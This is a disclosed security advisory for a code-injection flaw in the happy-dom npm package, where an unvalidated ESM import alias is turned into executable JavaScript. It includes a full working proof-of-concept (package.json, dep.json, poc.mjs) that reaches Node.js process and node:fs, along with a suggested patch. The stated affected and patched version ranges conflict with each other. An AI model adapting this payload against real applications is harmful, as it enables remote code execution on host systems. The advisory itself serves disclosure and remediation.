
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 17.0.0, <= 21.0.3
Patched in 21.0.4
Details
The ESM compiler in [email protected] does not validate imported local binding aliases before interpolating them into generated JavaScript.
As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.
This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.
These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.
The PoC was directly tested against:
The same PoC does not trigger on [email protected].
The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.
Suggested affected range:
>= 17.0.0, <= 20.14.5
No patched version is currently available.
enableJavaScriptEvaluation: true.In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');
if (alias && name) {
properties.push({ name, alias });
}
Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.
It is subsequently inserted directly into generated binding syntax:
newCodeStart += `let {${properties
.map((property) =>
property.alias
? `"${property.name}": ${property.alias}`
: property.name
)
.join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
Consider the following source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
This is invalid ECMAScript module syntax. Node.js rejects it at the = token.
Happy DOM instead transforms it into the equivalent of:
let {
"missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.
The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:
if (!match[7] || match[7] === 'esm') {
resolvableCircularImports.push({ url, properties });
}
Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.
Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:
globalThis.constructor.constructor(`return process`)()
.getBuiltinModule(`node:fs`)
.mkdirSync(
globalThis.constructor.constructor(`return process`)().cwd() +
`/HAPPY_DOM_RCE_PROOF`
)
The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.
package.json{
"name": "happy-dom-import-alias-rce-poc",
"private": true,
"type": "module",
"dependencies": {
"happy-dom": "20.14.5"
}
}
dep.json{}
payload.mjsThis file is used as a control to demonstrate that a native ECMAScript parser rejects the source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
poc.mjsimport { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';
const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });
const window = new Window({
url: 'https://poc.local/',
settings: {
enableJavaScriptEvaluation: true,
suppressCodeGenerationFromStringsWarning: true,
fetch: {
virtualServers: [
{
url: 'https://poc.local/',
directory: process.cwd()
}
]
}
}
});
const script = window.document.createElement('script');
script.type = 'module';
script.textContent = `
import {
missing as injected = globalThis.constructor.constructor(\`return process\`)()
.getBuiltinModule(\`node:fs\`)
.mkdirSync(
globalThis.constructor.constructor(\`return process\`)().cwd() +
\`/HAPPY_DOM_RCE_PROOF\`
)
} from './dep.json' with { type: 'json' };
`;
window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();
if (!existsSync(proofDirectory)) {
console.error('[-] Exploit failed: proof directory was not created.');
console.error(
window.happyDOM.virtualConsolePrinter.readAsString()
);
process.exitCode = 1;
} else {
console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}
await window.happyDOM.close();
npm install
node --check payload.mjs
Expected result:
SyntaxError: Unexpected token '='
This confirms that the source is not valid ESM.
node poc.mjs
Expected result:
[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF
The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.
The PoC was also verified inside a node:24-alpine Docker container, where it created:
/poc/HAPPY_DOM_RCE_PROOF
An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.
This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.
The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.
CVE-2026-33943 covers expression injection through a local export declaration:
export { attacker_expression }
Its fix added identifier validation to the importName used by the export { ... } handler:
if (
exportName &&
importName &&
VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
// ...
}
This report uses a different parsing and code-generation path:
import { name as malicious_alias } from './module';
The unvalidated value is the local import alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.
The issue remains reproducible in versions released after the CVE-2026-33943 fix, including 20.14.5.
Validate the imported local binding before placing it into code context. The existing VALID_VARIABLE_NAME_REGEXP can be reused:
- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {
A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.
This change was tested locally. The focused ECMAScriptModuleCompiler test suite passes with 30 tests, and ESLint reports no errors.
For additional hardening, generated property keys should use JSON.stringify() instead of manual quote interpolation.
24.14.1[email protected]v20.14.50d4cdbe7442af49d16b49ddf1acf7cc9684ed31817.0.016.8.1Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.